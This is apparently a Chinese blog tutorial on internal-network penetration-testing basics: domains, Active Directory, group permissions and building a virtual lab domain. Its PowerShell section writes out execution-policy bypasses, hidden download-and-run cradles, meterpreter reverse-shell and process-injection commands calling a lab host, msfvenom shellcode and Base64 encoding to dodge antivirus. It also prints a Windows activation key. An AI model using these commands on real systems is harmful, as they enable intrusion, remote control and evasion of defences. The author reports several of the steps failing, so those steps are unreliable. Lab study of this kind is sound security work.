第一章 内网渗透测试基础

江南小虫虫 2020年02月10日 81次浏览

本文章大部分内容来自于 <内网安全攻防:渗透测试实战指南>: https://item.jd.com/12743210.html

0x00 内网基础知识

内网也指局域网(Local Area Network, LAN), 是指在某一区域内由多台计算机互连而成的计算机组

在局域网中, 可以实现文件管理, 应用软件共享, 打印机共享, 工作组内的日程安排, 电子邮件和传真通信服务器等

工作组

将不同的计算机按功能(或部门)分别列入不同的工作组(Work Group)

加入/创建工作组的方法: 右键桌面计算机->属性->更改设置->更改, 然后输入计算机名和想要加入的工作组名称即可

如果输入的工作组在网络中不存在, , 就相当于新建了一个工作组

设置完后重启电脑, 进入网络就可以看到加入工作组的成员了, 也可以退出工作组, 修改工作组的名称即可

此时在网络中, 我们可以随时访问别人的共享资源, 别人也可以访问我们的共享资源

所以工作组并不存在真正的集中管理作用, 工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。

域(Domain): 一个具有安全边界的计算机集合(安全边界: 在两个域中, 一个域的用户无法访问另一个域中的资源).

用户想要访问域内的资源, 必须以合法的身份登录域, 而用户对域内的资源拥有什么样的权限, 取决于用户在域内的身份

域控制器(Domain Controller, DC): 域中的一台类似管理服务器的计算机. 域控制器负责所有连入的计算机和用户的验证工作. 域内的计算机如果想相互访问, 都要经过域控制器的审核

域控制器有个数据库, 由这个域的账户, 密码, 属于这个域的计算机等信息构成的

计算机需要满足以下条件, 域控制器才允许其连接

  1. 计算机是否属于该域
  2. 账号是否存在
  3. 密码是否正确

域控制器是整个域的通信枢纽, 所有的权限身份认证都在域控制器上进行, 也就是说, 域内所有用来验证身份的账号和密码散列值都保存在域控制器中

域中一般有如下环境:

单域

在一个位置固定的小公司里, 建立一个域就可以满足需求了

在一个域内, 一般要有至少两台域服务器, 一台作为 DC, 另一台作为备份 DC(BDC).

活动目录的数据库(包括用户的账号信息)是存储在 DC 中, 如果没有备份 DC, 一旦 DC 瘫痪了, 域内的其他用户就不能登录该域了.

父域和子域

出于管理及其他需求, 需要在网络中划分多个域. 第一个域称为父域, 各分部的域称为该域的子域

下面的情况会用到父域和子域:

  1. 比如一个大公司, 它的不同分公司在不同的地理位置, 则需父域及子域这样的结构, 如北京总公司是父域, 上海分公司是一个子域,。
  • 如果把不同地理位置的分公司放在同一个域内, 比如将北京和上海都划分到一个域中, 那么他们之间信息交互(包括同步, 复制等)所花费的时间会比较长, 而且占用的带宽也比较大。(因为在同一个域内, 信息交互的条目是很多的, 而且不压缩;而在域和域之间, 信息交互的条目相对较少, 而且压缩。
  • 还有一个好处, 就是子公司可以通过自己的域来管理自己的资源。
  • 还有一种情况, 就是出于安全策略的考虑, 因为每个域都有自己独有的安全策略。比如一个公司的财务部门希望能使用特定的安全策略(包括帐号密码策略等), 那么可以将财务部门做成一个子域来单独管理。

域树

域树(Tree)是多个域通过建立信任关系组成的集合.

一个域管理员只能管理本域, 不能访问或者管理其他域.

如果两个域之间需要互相访问, 则需要建立信任关系(Trust Relaton), 信任关系是连接不同域的桥梁.

域树内的父域和子域, 可以按需相互管理, 也可以跨网络分配文件件和打印机等设备及资源, 从而实现在不同的域之间实现网络资源的共享和管理, 通信及数据传输

在一个域树中, 父域可以包含多个子域.

子域是相对父域来说的, 子域只能使用父域的名字作为其域名的后缀. 也就是说, 在一个域树中, 域的名字是连续的.

域森林

域森林(Forest)是指多个域树通过建立信任关系组成的集合

如下图, 域树abc.net无法挂在abc.com下, 所以域树abc.com与域树abc.net之间通过建立信任关系来构成域森林.

可以通过域树之间建立的信任关系来管理和使用整个森林中的资源, 从而又保持了原有域自身原有的特性。

域名服务器

域名服务器(Domain Name Server, DNS)是指用于实现域名(Domain Name)和与之相对应的IP 地址(IP Address)转换的服务器.

域中的计算机是使用 DNS 来定位域控制器, 服务器及其他计算机, 网络服务的, 所以域的名字就是 DNS 域的名字

在内网渗透测试中, 大都是通过寻找 DNS 服务器来确定域控制器的位置的(DNS 服务器和域控制器通常配置在同一台机器上)

活动目录(AD)

活动目录(Active Directory, AD)是指域环境中提供目录服务的组件

目录: 用于存储有关网络对象(例如用户, 组, 计算机, 共享资源, 打印机和联系人等) 的信息

目录服务: 指帮助用户快速, 准确地从目录中找到其所需要的信息的服务

活动目录存储的是网络中所有资源的快捷方式, 用户可以通过寻找快捷方式来定位资源. 活动目录与内网的资源相当于字典索引与字典内容.

逻辑结构: 在活动目录中, 管理员不需要考虑被管理对象的地理位置, 只需要按照一定的方式将这些对象放置在不同的容器中. 这种不考虑被管理对象的具体地理位置的组织框架称为逻辑结构

活动目录的逻辑结构包括前面讲过的组织单元(OU),, 域树, 域森林.

域树内的所有域共享一个活动目录, 这个活动目录内的数据分散存储在各个域中, 且每个域只存储该域内的数据.

活动目录主要提供以下功能:

  1. 帐号集中管理, 所有帐号均存在服务器上,方便对帐号的重命令/重置密码。
  2. 软件集中管理, 统一推送软件, 统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
  3. 环境集中管理, 利用AD可以统一客户端桌面,IE,TCP/IP等设置。
  4. 增强安全性, 统一部署杀毒软件和扫毒任务, 集中化管理用户的计算机权限、统一制订用户密码策略等, 可监控网络, 资料统一管理。
  5. 更可靠, 更少的宕机时间。如:利用AD控制用户访问权限, 利用群集、负载均衡等技术对文件服务器进行容灾设定, 更可靠, 宕机时间更少。
  6. 活动目录为Microsoft统一管理的基础平台, 其它isa,exchange,sms等服务都依赖于这个基础平台。

域控制器和活动目录的区别

如果网络规模较大, 就要把网络中的众多对象, 例如计算机, 用户, 用户组, 打印机, 共享文件等, 分门别类, 井然有序地放在一个大仓库中, 并将检索信息整理好, 以便查找, 管理和使用这些对象(资源). 这个拥有层次结构的数据库, 就是活动目录(AD)数据库, 简称AD 库

那么, 我们要将这个数据库放在哪台计算机上呢? 要实现域环境, 其实就是要安装 AD.

如果内网中的一台计算机上安装了 AD, 它就变成了 DC(用于存储活动目录(AD)数据库的计算机)

安全域的划分

划分安全域的目的是将一组安全等级相同的计算机划入同一个网段, 这个网段内的计算机拥有相同的网络边界

网络边界上通过部署防火墙来实现对其他安全域的网络访问控制策略(NACL), 从而设置允许哪些 IP 地址访问此域, 允许此域访问哪些 IP 地址和网段

一个典型的中小型内网的安全域划分如下图, 一个虚线框表示一个安全域(也是网络的边界, 一般分为 DZM 和内网), 通过硬件防火墙的不同端口实现隔离

域中计算机的分类

在域结构的网络中, 计算机的身份是不平等的

域内权限

https://blog.csdn.net/ljy325/article/details/78554852

全局组   来自本域用于全林
通用组   来自全林用于全林
域本地组 来自全林用于本域

比如: 有两个域, A和B, A中的3个财务人员和B中的4个财务人员都需要访问A中的“FINA”文件夹。这时, 可以在A中建一个DL, 因为DL的成员可以来自所有的域, 然后把这8个人都加入这个DL, 并把FINA的访问权赋给DL。这样做的坏处是什么呢?因为DL是在A域中, 所以管理权也在A域, 如果B域中的4个人变成6个人, 那只能B域管理员通知A域管理员, 将DL的成员做一下修改, A域的管理员太累了。

这时候, 我们改变一下, 在A和B域中都各建立一个全局组(G), 然后在A域中建立一个DL, 把这两个G都加入A域中的DL中, 然后把FINA的访问权赋给DL。哈哈, 这下两个G组都有权访问FINA文件夹了, 是吗?组嵌套造成权限继承嘛!这时候, 两个G分布在A和B域中, 也就是A和B的管理员都可以自己管理自己的G啦, 只要把那3个人和4个人加入G中, 就可以了!以后有任何修改, 都可以自己做了, 不用麻烦A域的管理员!这就是A-G-DL-P

注:A表示用户账号, G表示全局组, U表示通用组, DL表示域本地组, P表示资源权限。A-G-DL-P策略将用户账号添加到全局组中, 将全局组添加到域本地组中, 然后为域本地组分配资源权限

例1:将用户张三(域帐号Z3)加入到域本地组 administrators 中, 并不能使Z3对非DC的域成员计算机有任何特权, 但若加入到全局组Domain Admins中, 张三就是域管理员了, 可以在全局使用, 对域成员计算机是有特权的。

例2:只有在域的DC上, 对资源(如:文件/夹)设置权限, 你可以指派域本地组 administrators;但在非DC的域成员计算机上, 你是无法设置域本地组 administrators 的权限的。因为它是域本地组, 只能在DC上使用。


0x01 主机平台及常用工具

虚拟机的安装

Kali渗透测试平台及常用工具


Windows 渗透测试平台及常用工具

PowerShell 基础

Powershell 的基本概念

Powershell 的常用命令

要运行 Powershell 脚本, 必须使用管理权限将策略改成 Unrestricted

1. 绕过本地权限并执行

随便一个xxx.ps1脚本, 该脚本的作用就是输出一个hello hacker, 在Restricted策略下, 执行如下命令, 可以绕过安全策略, 执行脚本

powershell.exe -ExecutionPolicy Bypass -File .\xxx.ps1

绕过安全策略

实战中, 将脚本PowerUp.ps1上传至目标服务器中(这里是 C盘根目录), 在目标本地执行脚本文件, 如下

powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"

Invoke-AllChecks 函数将检查目标主机的攻击向量以进行权限提升. 为了更容易阅读, 我们将结果输出到一个名为allchecks.txt的文件里, 所以命令应该是这样子Invoke-AllChecks | Out-File allchecks.txt

执行 powerup.ps1 脚本

2. 从网站服务器中下载脚本, 绕过本地权限并隐藏执行

(有问题... ...请各位看官跳过)

首先是下载脚本 Invoke--Shellcode.ps1 到目标服务器的命令:

Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');

下面对常用参数进行说明, 括号里为缩写:

  1. -ExecutionPolicy Bypass (-Exec ByPass): 绕过执行安全策略. 在默认情况下, Powershell 的安全策略规定了 Powershell 不能运行命令和文件
  2. -WindowStyle Hidden (-W Hidden): 隐藏窗口
  3. -NoInteractive (-NonI): 非交互模式. Powershell 不为用户提供交互式的提示
  4. -NoProfile (-NoP): Powershell 控制台不加载当前用户的配置文件
  5. -noexit: 执行后不退出 Shell. 这个参数在使用键盘记录等脚本时非常重要
  6. -NoLogo: 启动不显示版本标志的 Powershell

接着是在目标机器上执行 meterpreter shell, 当然, 我们需要知道参数是啥, 可以看一下脚本的源码:

所以最终的代码如下:

Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234

注意, 下载链接那里要用单引号, 不用用双引号...

具体步骤如下:

  1. 先去kali 的 msf 启用后门模块exploit/multi/handler, 并选择payload windows/meterpreter/reverse_https, 进行监听

  1. 然后在目标机器上的cmd运行最终代码:
Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234

然而还是没有什么鸟用... ...

测试的存一下

Powershell.exe  -ExecutionPolicy Bypass IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234 -Verbose;

注入进程

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.82.131 -Lport 1234 -Verbose

另一种注入进程

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessID $Proc.Id -Shellcode ($buf) -Force

还是有问题

  1. 在 kali 上生成 shellcode
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.82.131 lport=1234 -f powershell -o /var/www/html/code1
  1. msf 启用后门模块exploit/multi/handler, 并选择payload windows/meterpreter/reverse_https, 进行监听

  1. 使用 32 位的Powershell 运行如下命令
cd \
cd C:\Users\root\Desktop
Set-ExecutionPolicy unrestricted
Import-Module .\Invoke--Shellcode.ps1
IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
Invoke-Shellcode -Shellcode $buf -Force

  1. 这时候, kali 的 msf 拿到了 shell

再试一次, 还是失败...

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.82.131 -Lport 1234 -Verbose

3. 使用 Base64 对 Powershell 命令进行编码

使用 Base64 对 Powershell 命令进行编码的目的是混淆和压缩代码, 从而避免脚本因为一些特殊字符被杀毒软件查杀

这里需要用到一个 python 脚本--ps_encoder.py, 核心函数如下:

def powershell_encode(data):
    #https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
    #Carlos - aka Darkoperator 编写了下面的代码
    blank_command = ""
    powershell_command = ""
    # 删除ISE可能添加的怪异字符
    #python的file对象的readline以及readlines程序中, 针对一些UTF-8编码的文件, 
    #开头会加入BOM来表明编码方式。
    #使用unicode编码(xef|\xbb|\xbf),.compile提高匹配效率
    n = re.compile(u'(\xef|\xbb|\xbf)')
    # 循环遍历通过正则过滤后的每个字符
    for char in (n.sub("", data)):
        # 每个字符间插入“\x00”空字符
        blank_command += char + "\x00"
    powershell_command = blank_command
    # 对powershell进行base64编码
    powershell_command = base64.b64encode(powershell_command)
    return powershell_command

    # base64编码是对二进制数据进行处理, 每3个字节划为一组, 一共是3x8=24bit
    # 再将24bit划为4组, 每组正好6个bit(可表示2的6次方、即64个数)
    #这样我们就得到了4个数字, 将其作为索引查码表, 获得相应的4个字符, 就是编码后的字符串。
    #所以, Base64编码会把3字节的二进制数据编码为4字节的文本数据, 长度增加33%。
    #如果要编码的二进制数据不是3的倍数, 最后会剩下1个或2个字节,Base64用\x00字节在末尾补足
    #z最后编码的末尾加上1个或2个=号, 表示补了多少字节, 解码的时候, 会自动去掉。

要使用该脚本, 需要先将命令保存成文本文件

echo "IEX(New-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 80 -Force" > raw.txt

然后给ps_encoder.py授予执行权限

chmod +x ps_encoder.py

然后以下命令将 raw.txt 里面的命令转换成 base64 编码

./ps_encoder.py -s raw.txt

输入的内容就是经过 Base64 编码的命令了

接着在目标主机上执行如下命令:

Powershell.exe -Nop -NonI -W hidden -Exec Bypass -enc Base64编码的命令

4. 32位和 64 位的 Powershell

32位PowerShell脚本执行:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

64位PowerShell 脚本执行:

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

0x02 搭建内网环境

搭建域环境

机器ip模式
防火墙内网: 10.1.1.1;外网自动获取内网网卡为host-only,外网网卡为NAT
Windows 2012 R210.1.1.2host-only
Windows 710.1.1.10host-only
Windows XP10.1.1.11host-only
Windows 2003自动获取NAT
Kali(攻击者)自动获取NAT
Kali(Web 服务器)内网: 10.1.1.12;外网:192.168.1.132内网网卡host-only, 外网网卡NAT

网卡配置

本人 mac 系统, 用的是vmfusion, 先修改 NET 模式下的网段为192.168.1.0, 修改host-only模式下的网段为10.1.1.0

sudo vim /Library/Preferences/VMware\ Fusion/networking

然后重启 vmfusion 即可

防火墙Monowall构建二级内网

安装

http://www.cat-home.org/?action=show&id=158

其他的防火墙: OPNSENSE

硬盘 10G 就够了

需要两张网卡, 所以要添加一张网卡, 一个是NAT模式, 一个是host-only模式

接着光驱指定系统镜像

然后启动虚拟机就行

启动之后安装选项输入7(Install on Hard Drive), 将iso安装到硬盘。

输入硬盘设备名称ad0, 上方有提示, 具体情况根据自己的实际提示安装。然后在对话框继续输入y, 确认之后便开始进入了安装程序。

安装完成后, 断开iso 文件, 然后重启它

配置网络

在重启之后的m0n0对话框输入1, 开始指定接口, 指定具体网卡接入内网还是外网。

注意这里的 mac 地址, 通过查看网卡的 mac 地址, 找出对应关系, le0对应外网网卡, le1对应内网网卡

这里它询问是否配置 vlans, 这里选择n

配置lan口(内网网卡)、wan口(外网网卡)的网卡, 配置完成之后回车保存

配置 ip

再次重启之后的m0n0对话框输入2 ,开始对lan口进行网络地址配置

指定lan口的ip,掩码, 起始地址和结束地址。

登录之前

重置登录密码

密码将被重置为mono 账户为admin

使用

  1. 将一台虚拟机添加一张网卡, 保持和m0n0防火墙处于同一网卡, 这里我们的是host-only
  2. 开启该虚拟机, 将自动为新网卡获取在10.1.1.10——10.1.1.100之间的ip

Windows 2012 R2

系统安装

选择带标准版, 带GUI的服务器安装

然后就是漫长的等待, 完成后设置密码, 一定要记好密码

接下来是激活操作

然后用32P6N-BFRM3-RB3Q8-FCMPD-MDVJW 激活码激活就行

1. 设置IP

在虚拟机中安装 Windows Server 2012 R2 操作系统, 配置 IP 地址为 1.1.1.2, 子网掩码为 255.255.255.0, DNS 指向本机 IP 地址1.1.1.2

点击"确定"之后, 关闭其他窗口即可

2. 更改计算机名

使用本地管理员账户登录, 修改计算机名为DC(可以随意取名。等到后面本机升级成域控制器以后, 机器全名会自动变成为DC.hacke.testlab。更改完成后, 需要重启服务器。

然后重启服务器

3. 安装域控制器和DNS服务

接下来, 在 Windows Server 2012 R2 主机上安装域控制器和 DNS 服务。

登录 Windows Server 2012 R2 服务器时, 可以看到服务器管理器页面, 如图所示

单击添加角色和功能选项, 进入添加角色和功能向导页面, 保持默认设置, 单击下一步按钮, 进入安装类型页面

选择基于角色或者基于功能的安装选项, 单击下一步按钮, 进入服务器选择选择页面。

目前的服务器池中只有当前这一台机器, 保持默认设置。单击下一步按钮

ps: 这里的 ip 地址应该是10.1.1.2, 我用的是之前的图, 所以.... 不要在意那些细节!!

服务器角色页面勾选Active Directory 域服务DNS 服务器复选框, 然后点击下一步

功能页面, 保持默认设置, 单击三次下一步按钮, 进入确认页面。

确认需要安装的组件后, 勾选如果需要, 自动重新启动目标服务器复选框, 然后, 单击安装按钮。

安装成功之后, 点击关闭按钮

4. 升级服务器

服务器管理器页面中, 在右上角可以看到一个中间有!的三角形按钮。单击该按钮, 进入Active Directory 域服务配置向导页面

在部署操作中单击选中添加新林单选按钮并输入根域名(必须使用允许的 DNS 域命名约定)。将根域名设置 为hacker.testlab, 然后点击下一步

域控制器选项页面, 将林功能级别、域功能级别都设置为 Windows Server 2012 R2, 在创建新林时, 在默认情况下选择 DNS 服务器, 林中的第一个域控制器必须是全局目录服务器且不能是只读域控制器(RODC)。输入目录服务还原模式密码, 在开机进入安全模式修复 AD 数据库时将使用此密码。然后点击下一步

DNS 选项页面 会出现关于 DNS 的警告。不用理会该警告, 保持默认设置。单击下一步 按钮, 进入其他选项页面

在 NetBIOS 域名(不支持 DNS 域名的旧系统, 如 Windows 98、 NT 系统, 需要通过 NetBIOS 域名进行通信)页面保持默认设置。单击下一步按钮, 进入路径界面

指定数据库、日志、sysvol 的存放位置, 保持默认设置。接着单击下一步 按钮

保持页面上的默认设置, 单击下一步按钮

最后单击安装按钮

安装完成后, 需要重启服务器。重启完成后, 需要使用域管理员账户(HACKER\Administrator)登录。此时在服务器管理器 页面就可以看到 AD DS、DNS 服务了

这时候, 检查 DC 是否已经注册到 DNS:域控制器 DC 会将自己扮演的角色注册到 DNS 服务器内, 以便让其他计算机能够通过 DNS 服务器来找到这台域控制器, 因此先检查 DNS 服务器内是否已经存在这些记录。

图中的主机(A)记录表示域控制器 dc.hacker.testlab.xxx 已经正确地将其主机名与 IP 地址注册到 DNS 服务器内。DNS 客户端所提出的请求大多是正向解析, 即通过 hostname 来解析 IP 地址对应与此处的正向查找区域;通过 IP 来查找 hostname 即为反向解析, 对应于此处的反向查找区域。

如果域控制器已经正确地将其扮演的角色注册到 DNS 服务器, 则还应该有对应的 _tcp_udp 等文件夹。在单击 _tcp 文件夹后可以看到如下所示的界面, 其中数据类型为服务位置(SRV)的 _ldap 记录, 表示dc.hacker.testlab.xxx 已经正确地注册为域控制器。其中的 _gc 记录还可以看出全局编录服务器的角色也是由 dc.hacker.testlab.xxx 扮演的。

DNS 区域内包含这些数据后, 其他要加入域的计算机就可以通过通过此区域来得知域控制器为dc.hacker.testlab.xxx 。这些加入域的成员(域控制器、成员服务器、Windows 8、Windows 7、Windows Vista、Windows XP Professional 等)也会将其主机与 IP 地址数据注册到此区域内。
 

5. 创建Active Directory用户

为 Windows 7 和 Windows XP 用户创建域控制器账户

开始菜单找到管理工具, 打开Active Directory 用户和计算机

Active Directory 用户和计算机页面, 点击Users目录,并单击右键, 选择新建->用户

这里创建一个 testuser 账户, 如图

这样子就添加了一个普通用户

可以看一下它的权限

Domain Users, 即普通的域用户

Windows 7

1. 设置 ip

将 Windows 7 系统加入该域, 同样需要先设置 IP 地址为 10.1.1.10, DNS 地址为 10.1.1.2, 然后运行ping hacker.testlab命令进行测试

2. 更改计算机名并加入域

接下来, 将主机加入域, 更改计算机名为WIN7(对于 Windows 7), 将域名更改为 hacker.testlab

单击确定按钮后, 会弹出要求输入拥有权限的域账户名称和密码的对话框。 这里输入刚刚创建成功的testuser的账号和密码. 操作成功后, 会出现重启计算机的提示。

然后点击关闭

计算机重启后, 使用刚刚创建的testuser用户登录域, 点击切换用户->其他用户

3. 关闭防火墙

登录成功后, 这时候回到 dc 中的Active Directory 用户和计算机, 可以看到Computers目录下, 多了我们刚刚加入的WIN7

此时可以管理一波, 如果出现类似如下的提示, 则需要配置防火墙

当然, 我们搞渗透的话, 为了方便直接关闭防火墙就行

关闭防火墙后, 再打开管理, 即可看到

windows xp

xp 加入域的操作和 win7 类似, 这里就不再详解了

Kali

进入kali 可以看到, eth1是外网网卡, eth0是内网网卡

所以接下来要给内外网网卡配置静态 ip 地址

vim /etc/network/interfaces

增加如下内容:

auto eth1
iface eth1 inet static
address 192.168.1.132
netmask 255.255.255.0
gateway 192.168.1.2

auto eth0
iface eth0 inet static
address 10.1.1.12
netmask 255.255.255.0

这里的gateway网关配置成192.168.1.2的原因是, 外网网卡的网关就是这个...dhcp 自动获取的就是这个...

vim /etc/resolv.conf

保存之后重启网络

service networking  restart

然后执行如下命令:

route del default
route add default gw 192.168.1.2
route add -net 10.1.1.0/24 gw 10.1.1.1 eth0

至此配置完成, 然后测试一波. 可以ping 一下防火墙, dns, 域机器, 百度

然后找一台域机器, 这里是 winxp, ping 一波这台 kali

搭建其他服务器环境

安装域服务器后, 可以安装几个用于测试的干净的操作系统或者存在漏洞的应用程序, 如 Metasploitable2、Metasploitable3、OWASPBWA 和 DVWA 等。由于包含了诸多用于测试的安全弱 点, 建议在 Host-only 或 NAT 的虚拟机网络模式下使用服务器。

1. Metasploitable2

Metasploitable2 是一个 Ubuntu Linux 虚拟机, 它预置了常见的漏洞。Metasploitable2 环境的 VMWare 镜像的下载地址为 http://sourceforge.net/projects/metasploitable/files/Measploitable2。

下载 Metasploitable2 后, 解压软件, 并在 VMware Workstation Player 中打开软件, 输入用户 名 msfadmin 和密码 msfadmin, 登录软件。

2. Metasploitable3

Metasploitable3 是一个易受攻击的 Ubuntu Linux 虚拟机, 专为测试常见漏洞而设计。此虚拟 机与 VMWare、VirtualBox 和其他常见的虚拟化平台兼容, 下载地址为 https://github.com/rapid7/metasploitable3。

下载后, 使用 VMware Workstation Player 运行它, 默认的用户名和密码分别是 msfadmin 和 msfadmin。

3. OWASPBWA

OWASPBWA 是 OWASP 出品的一款基于虚拟机的渗透测试演练工具, 提供了一个存在大量 漏洞的网站应用程序环境。 OWASPBWA 同样需要下载和安装, 下载地址为 https://sourceforge.net/projects/owaspbwa/files/。

4. DVWA

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用, 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境, 帮助 Web 开发者更 好地理解 Web 应用安全防范过程。DVWA 基于 PHP、Apache 及 MySQL, 需要安装到本地使用。

还有一些在线学习渗透测试的网站, 可以访问 https://www.hackthissite.org/

思维导图

https://fengwenhua.top/upload/2020/2/内网渗透测试基础-0f3b178fa5f3433ca36e2e08c849d14e.xmind